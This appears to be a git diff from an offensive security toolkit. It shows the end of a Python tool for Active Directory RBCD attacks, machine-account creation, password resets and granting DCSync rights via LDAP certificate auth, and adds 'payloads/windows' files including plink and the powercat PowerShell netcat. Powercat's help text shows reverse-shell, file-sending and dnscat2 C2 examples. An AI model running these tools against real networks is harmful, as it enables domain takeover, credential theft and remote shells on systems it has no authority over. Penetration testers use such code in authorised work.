sd, targetuser = self.get_allowed_to_act()
|
||||
|
||||
self.ldap_session.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, []]})
|
||||
if self.ldap_session.result['result'] == 0:
|
||||
logging.info('Delegation rights flushed successfully!')
|
||||
else:
|
||||
if self.ldap_session.result['result'] == 50:
|
||||
logging.error('Could not modify object, the server reports insufficient rights: %s',
|
||||
self.ldap_session.result['message'])
|
||||
elif self.ldap_session.result['result'] == 19:
|
||||
logging.error('Could not modify object, the server reports a constrained violation: %s',
|
||||
self.ldap_session.result['message'])
|
||||
else:
|
||||
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
|
||||
# Get list of allowed to act
|
||||
self.get_allowed_to_act()
|
||||
return
|
||||
|
||||
def get_allowed_to_act(self):
|
||||
# Get target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute
|
||||
self.ldap_session.search(self.DN_delegate_to, '(objectClass=*)', search_scope=ldap3.BASE,
|
||||
attributes=['SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
|
||||
targetuser = None
|
||||
for entry in self.ldap_session.response:
|
||||
if entry['type'] != 'searchResEntry':
|
||||
continue
|
||||
targetuser = entry
|
||||
if not targetuser:
|
||||
logging.error('Could not query target user properties')
|
||||
return
|
||||
|
||||
try:
|
||||
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(
|
||||
data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
|
||||
if len(sd['Dacl'].aces) > 0:
|
||||
logging.info('Accounts allowed to act on behalf of other identity:')
|
||||
for ace in sd['Dacl'].aces:
|
||||
SID = ace['Ace']['Sid'].formatCanonical()
|
||||
SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1]
|
||||
logging.info(' %-10s (%s)' % (SamAccountName, SID))
|
||||
else:
|
||||
logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
|
||||
except IndexError:
|
||||
logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
|
||||
# Create DACL manually
|
||||
sd = create_empty_sd()
|
||||
return sd, targetuser
|
||||
|
||||
def get_user_info(self, samname):
|
||||
self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % ldap3.utils.conv.escape_filter_chars(samname), attributes=['objectSid'])
|
||||
try:
|
||||
dn = self.ldap_session.entries[0].entry_dn
|
||||
sid = ldap3.protocol.formatters.formatters.format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])
|
||||
return dn, sid
|
||||
except IndexError:
|
||||
logging.error('User not found in LDAP: %s' % samname)
|
||||
return False
|
||||
|
||||
def get_sid_info(self, sid):
|
||||
self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % ldap3.utils.conv.escape_filter_chars(sid), attributes=['samaccountname'])
|
||||
try:
|
||||
dn = self.ldap_session.entries[0].entry_dn
|
||||
samname = self.ldap_session.entries[0]['samaccountname']
|
||||
return dn, samname
|
||||
except IndexError:
|
||||
logging.error('SID not found in LDAP: %s' % sid)
|
||||
return '[Could not resolve SID]', '[Could not resolve SID]'
|
||||
|
||||
|
||||
class ManageUser:
|
||||
"""docstring for ManageUser"""
|
||||
def __init__(self, ldapConn, cmdLineOptions):
|
||||
self.ldapConn = ldapConn
|
||||
self.__accountName = cmdLineOptions.target
|
||||
self.__domain = cmdLineOptions.domain
|
||||
self.__baseDN = cmdLineOptions.baseDN
|
||||
|
||||
if self.__baseDN is None:
|
||||
# Create the baseDN
|
||||
domainParts = self.__domain.split('.')
|
||||
self.__baseDN = ''
|
||||
for i in domainParts:
|
||||
self.__baseDN += 'dc=%s,' % i
|
||||
# Remove last ','
|
||||
self.__baseDN = self.__baseDN[:-1]
|
||||
|
||||
if not '.' in self.__domain:
|
||||
logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain)
|
||||
|
||||
if not self.LDAPUserExists(self.__accountName):
|
||||
raise Exception("sAMAccountName %s not found in %s!" % (self.__accountName, self.__baseDN))
|
||||
|
||||
self.__targetDN, self.__targetSID = self.LDAPGetUser(self.__accountName)
|
||||
|
||||
def LDAPUserExists(self, accountName):
|
||||
res, _ = self.LDAPGetUser(accountName)
|
||||
return res
|
||||
|
||||
def LDAPGetUser(self, accountName):
|
||||
self.ldapConn.search(self.__baseDN, \
|
||||
'(sAMAccountName=%s)' % ldap3.utils.conv.escape_filter_chars(accountName), \
|
||||
attributes=['objectSid'])
|
||||
try:
|
||||
dn = self.ldapConn.entries[0].entry_dn
|
||||
sid = ldap3.protocol.formatters.formatters.format_sid(self.ldapConn.entries[0]['objectSid'].raw_values[0])
|
||||
return dn, sid
|
||||
except IndexError:
|
||||
logging.error('User not found in LDAP: %s' % accountName)
|
||||
return False, ''
|
||||
|
||||
def elevate(self, forestDN=None): # implementation was inspired by @skelsec's `msldap` code
|
||||
if forestDN is None:
|
||||
forestDN = self.__baseDN
|
||||
|
||||
res = self.ldapConn.search(search_base=self.__baseDN, \
|
||||
search_filter=f'(distinguishedName={forestDN})', \
|
||||
attributes=['nTSecurityDescriptor'])
|
||||
if res is None:
|
||||
logging.error('Failed to get forest\'s SD')
|
||||
|
||||
baseDN_sd = self.ldapConn.entries[0].entry_raw_attributes
|
||||
if baseDN_sd['nTSecurityDescriptor'] == []:
|
||||
raise Exception("User doesn't have right read nTSecurityDescriptor!")
|
||||
|
||||
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=baseDN_sd['nTSecurityDescriptor'][0])
|
||||
new_sd = copy.deepcopy(sd)
|
||||
|
||||
for guid in ['1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', \
|
||||
'1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', \
|
||||
'89e95b76-444d-4c62-991a-0facbeda640c']:
|
||||
new_sd['Dacl'].aces.append(create_allow_ace(self.__targetSID, guid))
|
||||
|
||||
res = self.ldapConn.modify(forestDN, \
|
||||
{'nTSecurityDescriptor': [ldap3.MODIFY_REPLACE, [new_sd.getData()]]})
|
||||
if not res:
|
||||
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
|
||||
raise Exception("User doesn't have right to modify %s!" % (self.__targetDN))
|
||||
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:
|
||||
raise Exception("Unwilling to Perform: %s" % (self.ldapConn.result['message']))
|
||||
else:
|
||||
raise Exception(str(ldapConn.result))
|
||||
else:
|
||||
logging.info("Granted user '%s' DCSYNC rights!" % (self.__accountName))
|
||||
|
||||
def changePWD(self, newPWD):
|
||||
if newPWD is False:
|
||||
newPWD = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32))
|
||||
res = self.ldapConn.modify(self.__targetDN, \
|
||||
{'unicodePwd': [(ldap3.MODIFY_REPLACE, ['"{}"'.format(newPWD).encode('utf-16-le')])]})
|
||||
if not res:
|
||||
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
|
||||
raise Exception("User doesn't have right to modify %s!" % (self.__targetDN))
|
||||
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_NO_SUCH_OBJECT:
|
||||
raise Exception("Target DN '%s' is not correct!" % (self.__targetDN))
|
||||
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:
|
||||
raise Exception("Password complexity not met. Unwilling to Perform: %s" % (self.ldapConn.result['message']))
|
||||
else:
|
||||
raise Exception(str(self.ldapConn.result))
|
||||
else:
|
||||
logging.info("Successfully changed %s password to: %s" % (self.__accountName, newPWD))
|
||||
|
||||
|
||||
class ManageComputer:
|
||||
def __init__(self, ldapConn, cmdLineOptions):
|
||||
self.options = cmdLineOptions
|
||||
self.ldapConn = ldapConn
|
||||
self.__action = cmdLineOptions.action
|
||||
self.__domain = cmdLineOptions.domain
|
||||
self.__computerName = cmdLineOptions.computer_name
|
||||
self.__computerPassword = cmdLineOptions.computer_pass
|
||||
self.__domainNetbios = cmdLineOptions.domain_netbios
|
||||
self.__baseDN = cmdLineOptions.baseDN
|
||||
self.__computerGroup = cmdLineOptions.computer_group
|
||||
|
||||
if self.__computerName is None:
|
||||
if self.__action in ('modify_computer','delete_computer'):
|
||||
raise ValueError("You have to provide a computer name when using modify_computer or delete_computer.")
|
||||
else:
|
||||
if self.__computerName[-1] != '$':
|
||||
self.__computerName += '$'
|
||||
|
||||
if not '.' in self.__domain:
|
||||
logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain)
|
||||
|
||||
if self.__computerPassword is None:
|
||||
self.__computerPassword = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32))
|
||||
|
||||
if self.__domainNetbios is None:
|
||||
self.__domainNetbios = self.__domain
|
||||
|
||||
if self.__baseDN is None:
|
||||
# Create the baseDN
|
||||
domainParts = self.__domain.split('.')
|
||||
self.__baseDN = ''
|
||||
for i in domainParts:
|
||||
self.__baseDN += 'dc=%s,' % i
|
||||
# Remove last ','
|
||||
self.__baseDN = self.__baseDN[:-1]
|
||||
|
||||
if self.__computerGroup is None:
|
||||
self.__computerGroup = 'CN=Computers,' + self.__baseDN
|
||||
|
||||
logging.debug('The new computer will be added in %s' % self.__computerGroup)
|
||||
|
||||
def whoami(self):
|
||||
current_user = self.ldapConn.extend.standard.who_am_i()
|
||||
if current_user == None:
|
||||
raise Exception('whoami command failed, certificate seems not trusted by the Active Directory')
|
||||
# LDAP whoami returns an authzId, so we strip the prefix
|
||||
logging.info('You are logged in as: %s' % current_user[2:])
|
||||
|
||||
def add_computer(self, constrained_delegations = None):
|
||||
if self.__computerName is not None:
|
||||
if self.LDAPComputerExists(self.ldapConn, self.__computerName):
|
||||
raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName)
|
||||
else:
|
||||
while True:
|
||||
self.__computerName = self.generateComputerName()
|
||||
if not self.LDAPComputerExists(self.ldapConn, self.__computerName):
|
||||
break
|
||||
|
||||
|
||||
computerHostname = self.__computerName[:-1]
|
||||
computerDn = ('CN=%s,%s' % (computerHostname, self.__computerGroup))
|
||||
|
||||
# Default computer SPNs
|
||||
spns = [
|
||||
'HOST/%s' % computerHostname,
|
||||
'HOST/%s.%s' % (computerHostname, self.__domain),
|
||||
'RestrictedKrbHost/%s' % computerHostname,
|
||||
'RestrictedKrbHost/%s.%s' % (computerHostname, self.__domain),
|
||||
]
|
||||
ucd = {
|
||||
'dnsHostName': '%s.%s' % (computerHostname, self.__domain),
|
||||
'userAccountControl': 0x1000,
|
||||
'servicePrincipalName': spns,
|
||||
'sAMAccountName': self.__computerName,
|
||||
'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')
|
||||
}
|
||||
|
||||
# Add constrained delegations fields to the computer
|
||||
if constrained_delegations and len(constrained_delegations) > 0:
|
||||
# Set the TRUSTED_TO_AUTH_FOR_DELEGATION and WORKSTATION_TRUST_ACCOUNT flags
|
||||
# MS doc: https://learn.microsoft.com/fr-fr/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
|
||||
ucd['userAccountControl'] = 0x1000000|0x1000
|
||||
# Set the list of services authorized (format: protocol/FQDNserver)
|
||||
ucd['msDS-AllowedToDelegateTo'] = constrained_delegations.split(',') #Split multiple services in the command line
|
||||
logging.info("Adding constrained delegations services to the computer object: %s" % constrained_delegations)
|
||||
|
||||
res = self.ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], ucd)
|
||||
if not res:
|
||||
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:
|
||||
error_code = int(self.ldapConn.result['message'].split(':')[0].strip(), 16)
|
||||
if error_code == 0x216D:
|
||||
raise Exception("User machine quota exceeded!")
|
||||
else:
|
||||
raise Exception(str(self.ldapConn.result))
|
||||
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
|
||||
raise Exception("User doesn't have right to create a machine account!")
|
||||
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_CONSTRAINT_VIOLATION:
|
||||
raise Exception("User doesn't have right to create constrained delegations!")
|
||||
else:
|
||||
raise Exception(str(self.ldapConn.result))
|
||||
else:
|
||||
logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword))
|
||||
|
||||
def delete_computer(self):
|
||||
if not self.LDAPComputerExists(self.ldapConn, self.__computerName):
|
||||
raise Exception("Account %s not found in %s!" % (self.__computerName, self.__baseDN))
|
||||
|
||||
computer = self.LDAPGetComputer(self.ldapConn, self.__computerName)
|
||||
res = self.ldapConn.delete(computer.entry_dn)
|
||||
if not res:
|
||||
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
|
||||
raise Exception("User doesn't have right to delete %s!" % (self.__computerName))
|
||||
else:
|
||||
raise Exception(str(self.ldapConn.result))
|
||||
else:
|
||||
logging.info("Successfully deleted %s." % self.__computerName)
|
||||
|
||||
def modify_computer(self):
|
||||
if not self.LDAPComputerExists(self.ldapConn, self.__computerName):
|
||||
raise Exception("Account %s not found in %s!" % (self.__computerName, self.__baseDN))
|
||||
|
||||
computer = self.LDAPGetComputer(self.ldapConn, self.__computerName)
|
||||
res = self.ldapConn.modify(computer.entry_dn, {'unicodePwd': [(ldap3.MODIFY_REPLACE, ['"{}"'.format(self.__computerPassword).encode('utf-16-le')])]})
|
||||
if not res:
|
||||
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
|
||||
raise Exception("User doesn't have right to modify %s!" % (self.__computerName))
|
||||
else:
|
||||
raise Exception(str(self.ldapConn.result))
|
||||
else:
|
||||
logging.info("Successfully set password of %s to %s" % (self.__computerName, self.__computerPassword))
|
||||
|
||||
def LDAPComputerExists(self, connection, computerName):
|
||||
connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName)
|
||||
return len(connection.entries) ==1
|
||||
|
||||
def LDAPGetComputer(self, connection, computerName):
|
||||
connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName)
|
||||
return connection.entries[0]
|
||||
|
||||
def generateComputerName(self):
|
||||
return 'DESKTOP-' + (''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + '$')
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print((version.BANNER))
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Manage domain computers and perform RBCD attack via LDAP certificate authentication")
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
parser.add_argument('-port', type=int, choices=[389, 636], default=636,
|
||||
help='Destination port to connect to. LDAPS (via StartTLS) on 386 or LDAPS on 636.')
|
||||
|
||||
group = parser.add_argument_group('Action')
|
||||
group.add_argument('-action', choices=['add_computer', 'del_computer', 'modify_computer', 'read_rbcd', 'write_rbcd', 'remove_rbcd', 'flush_rbcd', 'modify_user', 'whoami', 'ldap-shell'], nargs='?', default='whoami')
|
||||
|
||||
group = parser.add_argument_group('Manage User')
|
||||
group.add_argument('-target', action='store', metavar='sAMAccountName', help='sAMAccountName of user to target.')
|
||||
group.add_argument('-new-pass', action='store', metavar='Password', help='New password of target.', const=False, nargs='?')
|
||||
group.add_argument('-elevate', action='store_true', help='Grant target account DCSYNC rights')
|
||||
|
||||
group = parser.add_argument_group('Manage Computer')
|
||||
group.add_argument('-baseDN', action='store', metavar='DC=test,DC=local', help='Set baseDN for LDAP.'
|
||||
'If omitted, the domain part (FQDN) '
|
||||
'specified in the account parameter will be used.')
|
||||
group.add_argument('-computer-group', action='store', metavar='CN=Computers', help='Group to which the account will be added.'
|
||||
'If omitted, CN=Computers will be used,')
|
||||
|
||||
group.add_argument('-domain', action='store', metavar='test.local', help='Target domain fqdn')
|
||||
group.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', help='Domain NetBIOS name. Required if the DC has multiple domains.')
|
||||
group.add_argument('-computer-name', action='store', metavar='COMPUTER-NAME$', help='Name of computer to add.'
|
||||
'If omitted, a random DESKTOP-[A-Z0-9]{8} will be used.')
|
||||
group.add_argument('-computer-pass', action='store', metavar='password', help='Password to set to computer. '
|
||||
'If omitted, a random [A-Za-z0-9]{32} will be used.')
|
||||
group.add_argument('-delegated-services', type=str, action='store', metavar='cifs/srv01.domain.local,ldap/srv01.domain.local', help='Services to configure in constrained delegation to configure to the new computer (no space in the list)')
|
||||
|
||||
group = parser.add_argument_group('RBCD attack')
|
||||
group.add_argument("-delegate-to", type=str, required=False,
|
||||
help="Target computer account the attacker has at least WriteProperty to")
|
||||
group.add_argument("-delegate-from", type=str, required=False,
|
||||
help="Attacker controlled machine account to write on the msDS-Allo[...] property (only when using `-action write`)")
|
||||
|
||||
group = parser.add_argument_group('Authentication')
|
||||
group.add_argument('-dc-host', action='store',metavar = "hostname", help='Hostname of the domain controller to use. '
|
||||
'If omitted, the domain part (FQDN) '
|
||||
'specified in the account parameter will be used')
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip", help='IP of the domain controller to use. '
|
||||
'Useful if you can\'t translate the FQDN.')
|
||||
group.add_argument('-crt', action="store", required=True, metavar = "user.crt", help='User\'s certificate')
|
||||
group.add_argument('-key', action="store", required=True, metavar = "user.key", help='User\'s private key')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
# Print the Library's installation path
|
||||
logging.debug(version.getInstallationPath())
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
try:
|
||||
if options.crt in ('', None) or options.key in ('', None):
|
||||
logging.critical('Cert and key should be specified!')
|
||||
sys.exit(1)
|
||||
|
||||
if options.domain in ('', None) and options.baseDN in ('', None):
|
||||
logging.critical('The target domain FQDN (-domain) or a base DN (-baseDN) should be specified!')
|
||||
sys.exit(1)
|
||||
|
||||
if options.dc_ip:
|
||||
target = options.dc_ip
|
||||
else:
|
||||
target = options.dc_host
|
||||
|
||||
tls = ldap3.Tls(local_private_key_file=options.key, local_certificate_file=options.crt, validate=ssl.CERT_NONE)
|
||||
|
||||
ldap_server_kwargs = {'use_ssl': options.port == 636,
|
||||
'port': options.port,
|
||||
'get_info': ldap3.ALL,
|
||||
'tls': tls}
|
||||
|
||||
ldapServer = ldap3.Server(target, **ldap_server_kwargs)
|
||||
|
||||
ldap_connection_kwargs = dict()
|
||||
|
||||
if options.port == 389:
|
||||
# I don't really know why, but using this combination of parameters with ldap3 will
|
||||
# send a LDAP_SERVER_START_TLS_OID and trigger a StartTLS
|
||||
ldap_connection_kwargs = {'authentication': ldap3.SASL,
|
||||
'sasl_mechanism': ldap3.EXTERNAL,
|
||||
'auto_bind': ldap3.AUTO_BIND_TLS_BEFORE_BIND}
|
||||
|
||||
ldapConn = ldap3.Connection(ldapServer, **ldap_connection_kwargs)
|
||||
|
||||
if options.port == 636:
|
||||
# According to Microsoft :
|
||||
# "If the client establishes the SSL/TLS-protected connection by means of connecting
|
||||
# on a protected LDAPS port, then the connection is considered to be immediately
|
||||
# authenticated (bound) as the credentials represented by the client certificate.
|
||||
# An EXTERNAL bind is not allowed, and the bind will be rejected with an error."
|
||||
# Using bind() function will raise an error, we just have to open() the connection
|
||||
ldapConn.open()
|
||||
|
||||
if options.action in ('modify_user'):
|
||||
if options.target is None:
|
||||
logging.critical('-target is required !')
|
||||
sys.exit(1)
|
||||
manage = ManageUser(ldapConn, options)
|
||||
if options.elevate:
|
||||
manage.elevate()
|
||||
elif options.new_pass is not None:
|
||||
manage.changePWD(options.new_pass)
|
||||
else:
|
||||
logging.critical('User modification option (-elevate|-new-pass) needed!')
|
||||
|
||||
elif options.action in ('add_computer','del_computer','modify_computer', 'whoami', 'ldap-shell'):
|
||||
manage = ManageComputer(ldapConn, options)
|
||||
if options.action == 'add_computer':
|
||||
manage.add_computer(options.delegated_services)
|
||||
elif options.action == 'del_computer':
|
||||
manage.delete_computer()
|
||||
elif options.action == 'modify_computer':
|
||||
manage.modify_computer()
|
||||
elif options.action == 'whoami':
|
||||
manage.whoami()
|
||||
elif options.action == "ldap-shell":
|
||||
ldap_shell(ldapServer, ldapConn)
|
||||
|
||||
else:
|
||||
if options.delegate_to is None:
|
||||
logging.critical('-delegate-to is required !')
|
||||
sys.exit(1)
|
||||
|
||||
rbcd = RBCD(ldapServer, ldapConn, options.delegate_to)
|
||||
if options.action == 'read_rbcd':
|
||||
rbcd.read()
|
||||
elif options.action == 'write_rbcd':
|
||||
rbcd.write(options.delegate_from)
|
||||
elif options.action == 'remove_rbcd':
|
||||
rbcd.remove(options.delegate_from)
|
||||
elif options.action == 'flush_rbcd':
|
||||
rbcd.flush()
|
||||
|
||||
except Exception as e:
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
print(str(e))
|
||||
BIN
payloads/windows/plink.exe
Normal file
BIN
payloads/windows/plink.exe
Normal file
Binary file not shown.
BIN
payloads/windows/plink64.exe
Normal file
BIN
payloads/windows/plink64.exe
Normal file
Binary file not shown.
948
payloads/windows/powercat.ps1
Normal file
948
payloads/windows/powercat.ps1
Normal file
@@ -0,0 +1,948 @@
|
||||
function powercat
|
||||
{
|
||||
param(
|
||||
[alias("Client")][string]$c="",
|
||||
[alias("Listen")][switch]$l=$False,
|
||||
[alias("Port")][Parameter(Position=-1)][string]$p="",
|
||||
[alias("Execute")][string]$e="",
|
||||
[alias("ExecutePowershell")][switch]$ep=$False,
|
||||
[alias("Relay")][string]$r="",
|
||||
[alias("UDP")][switch]$u=$False,
|
||||
[alias("dnscat2")][string]$dns="",
|
||||
[alias("DNSFailureThreshold")][int32]$dnsft=10,
|
||||
[alias("Timeout")][int32]$t=60,
|
||||
[Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null,
|
||||
[ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host",
|
||||
[alias("OutputFile")][string]$of="",
|
||||
[alias("Disconnect")][switch]$d=$False,
|
||||
[alias("Repeater")][switch]$rep=$False,
|
||||
[alias("GeneratePayload")][switch]$g=$False,
|
||||
[alias("GenerateEncoded")][switch]$ge=$False,
|
||||
[alias("Help")][switch]$h=$False
|
||||
)
|
||||
|
||||
############### HELP ###############
|
||||
$Help = "
|
||||
powercat - Netcat, The Powershell Version
|
||||
Github Repository: https://github.com/besimorhino/powercat
|
||||
|
||||
This script attempts to implement the features of netcat in a powershell
|
||||
script. It also contains extra features such as built-in relays, execute
|
||||
powershell, and a dnscat2 client.
|
||||
|
||||
Usage: powercat [-c or -l] [-p port] [options]
|
||||
|
||||
-c <ip> Client Mode. Provide the IP of the system you wish to connect to.
|
||||
If you are using -dns, specify the DNS Server to send queries to.
|
||||
|
||||
-l Listen Mode. Start a listener on the port specified by -p.
|
||||
|
||||
-p <port> Port. The port to connect to, or the port to listen on.
|
||||
|
||||
-e <proc> Execute. Specify the name of the process to start.
|
||||
|
||||
-ep Execute Powershell. Start a pseudo powershell session. You can
|
||||
declare variables and execute commands, but if you try to enter
|
||||
another shell (nslookup, netsh, cmd, etc.) the shell will hang.
|
||||
|
||||
-r <str> Relay. Used for relaying network traffic between two nodes.
|
||||
Client Relay Format: -r <protocol>:<ip addr>:<port>
|
||||
Listener Relay Format: -r <protocol>:<port>
|
||||
DNSCat2 Relay Format: -r dns:<dns server>:<dns port>:<domain>
|
||||
|
||||
-u UDP Mode. Send traffic over UDP. Because it's UDP, the client
|
||||
must send data before the server can respond.
|
||||
|
||||
-dns <domain> DNS Mode. Send traffic over the dnscat2 dns covert channel.
|
||||
Specify the dns server to -c, the dns port to -p, and specify the
|
||||
domain to this option, -dns. This is only a client.
|
||||
Get the server here: https://github.com/iagox86/dnscat2
|
||||
|
||||
-dnsft <int> DNS Failure Threshold. This is how many bad packets the client can
|
||||
recieve before exiting. Set to zero when receiving files, and set high
|
||||
for more stability over the internet.
|
||||
|
||||
-t <int> Timeout. The number of seconds to wait before giving up on listening or
|
||||
connecting. Default: 60
|
||||
|
||||
-i <input> Input. Provide data to be sent down the pipe as soon as a connection is
|
||||
established. Used for moving files. You can provide the path to a file,
|
||||
a byte array object, or a string. You can also pipe any of those into
|
||||
powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80
|
||||
|
||||
-o <type> Output. Specify how powercat should return information to the console.
|
||||
Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'.
|
||||
|
||||
-of <path> Output File. Specify the path to a file to write output to.
|
||||
|
||||
-d Disconnect. powercat will disconnect after the connection is established
|
||||
and the input from -i is sent. Used for scanning.
|
||||
|
||||
-rep Repeater. powercat will continually restart after it is disconnected.
|
||||
Used for setting up a persistent server.
|
||||
|
||||
-g Generate Payload. Returns a script as a string which will execute the
|
||||
powercat with the options you have specified. -i, -d, and -rep will not
|
||||
be incorporated.
|
||||
|
||||
-ge Generate Encoded Payload. Does the same as -g, but returns a string which
|
||||
can be executed in this way: powershell -E <encoded string>
|
||||
|
||||
-h Print this help message.
|
||||
|
||||
Examples:
|
||||
|
||||
Listen on port 8000 and print the output to the console.
|
||||
powercat -l -p 8000
|
||||
|
||||
Connect to 10.1.1.1 port 443, send a shell, and enable verbosity.
|
||||
powercat -c 10.1.1.1 -p 443 -e cmd -v
|
||||
|
||||
Connect to the dnscat2 server on c2.example.com, and send dns queries
|
||||
to the dns server on 10.1.1.1 port 53.
|
||||
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
|
||||
|
||||
Send a file to 10.1.1.15 port 8000.
|
||||
powercat -c 10.1.1.15 -p 8000 -i C:\inputfile
|
||||
|
||||
Write the data sent to the local listener on port 4444 to C:\outfile
|
||||
powercat -l -p 4444 -of C:\outfile
|
||||
|
||||
Listen on port 8000 and repeatedly server a powershell shell.
|
||||
powercat -l -p 8000 -ep -rep
|
||||
|
||||
Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp.
|
||||
powercat -l -p 8000 -r tcp:10.1.1.1:9000
|
||||
|
||||
Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com,
|
||||
sending queries to 10.1.1.1 port 53.
|
||||
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
|
||||
"
|
||||
if($h){return $Help}
|
||||
############### HELP ###############
|
||||
|
||||
############### VALIDATE ARGS ###############
|
||||
$global:Verbose = $Verbose
|
||||
if($of -ne ''){$o = 'Bytes'}
|
||||
if($dns -eq "")
|
||||
{
|
||||
if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."}
|
||||
if($p -eq ""){return "Please provide a port number to -p."}
|
||||
}
|
||||
if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"}
|
||||
if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."}
|
||||
if($l)
|
||||
{
|
||||
$Failure = $False
|
||||
netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}}
|
||||
if($Failure){break}
|
||||
}
|
||||
if($r -ne "")
|
||||
{
|
||||
if($r.split(":").Count -eq 2)
|
||||
{
|
||||
$Failure = $False
|
||||
netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}}
|
||||
if($Failure){break}
|
||||
}
|
||||
}
|
||||
############### VALIDATE ARGS ###############
|
||||
|
||||
############### UDP FUNCTIONS ###############
|
||||
function Setup_UDP
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
$c,$l,$p,$t = $FuncSetupVars
|
||||
$FuncVars = @{}
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
if($l)
|
||||
{
|
||||
$SocketDestinationBuffer = New-Object System.Byte[] 65536
|
||||
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p
|
||||
$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p
|
||||
$PacketInfo = New-Object System.Net.Sockets.IPPacketInformation
|
||||
Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]")
|
||||
$ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null)
|
||||
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
|
||||
while($True)
|
||||
{
|
||||
if($Host.UI.RawUI.KeyAvailable)
|
||||
{
|
||||
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode))
|
||||
{
|
||||
Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..."
|
||||
$FuncVars["Socket"].Close()
|
||||
$Stopwatch.Stop()
|
||||
break
|
||||
}
|
||||
}
|
||||
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
|
||||
{
|
||||
$FuncVars["Socket"].Close()
|
||||
$Stopwatch.Stop()
|
||||
Write-Verbose "Timeout!" ; break
|
||||
}
|
||||
if($ConnectHandle.IsCompleted)
|
||||
{
